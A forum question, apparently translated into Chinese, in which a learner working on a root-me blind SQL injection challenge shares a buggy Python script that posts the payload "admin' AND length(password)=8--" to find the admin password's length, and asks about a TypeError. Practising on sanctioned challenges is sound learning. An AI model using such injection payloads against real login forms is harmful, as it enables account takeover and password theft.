我目前正在尝试挑战:通过盲注sql 找到管理员密码。
有一个包含用户名和密码字段的表单。用户名可用。我不想破坏挑战,但我找到了管理员密码的长度。而且,当我学习python并且我想编写查找密码的脚本时,我制作了这个脚本。
通过这个脚本,我想在用户名字段中注入/暴力:
admin' AND length(password)=8--
然后我需要阅读html内容以找到字符串"username : admin"
,如果它在这里,显示它的确定。
我的环境是Python 3.5
。
import urllib
import urllib.parse
import urllib.request
import re
#try password
url = 'http://challenge01.root-me.org/web-serveur/ch10/'
values = {'username' : 'admin\' AND lentgh(password)=8',
'password' : 'test123'}
data = urllib.parse.urlencode(values)
data = data.encode(encoding="utf-8")
req = urllib.request.Request(url, data)
response = urllib.request.urlopen(req)
#read and stock html content
html_content = urllib.request.urlopen('http://challenge01.root-me.org/web-serveur/ch10/').read()
matches = re.findall(r'username : admin', response)
if len(matches) == 0:
print ('There is a problem with the SQL request')
else:
print ('the lentgh is : ')
但是当我执行脚本时出错:
Traceback (most recent call last):
File "E:/OneDrive/Programmation/Prgorammation Python/untitled /bruteforcemp.py", line 19, in <module>
matches = re.findall(r'username : admin', response)
File "C:\Program Files (x86)\Python35-32\lib\re.py", line 213, in findall
return _compile(pattern, flags).findall(string)
TypeError: expected string or bytes-like object
我有点困惑。我将衷心感谢您的帮助!提前谢谢。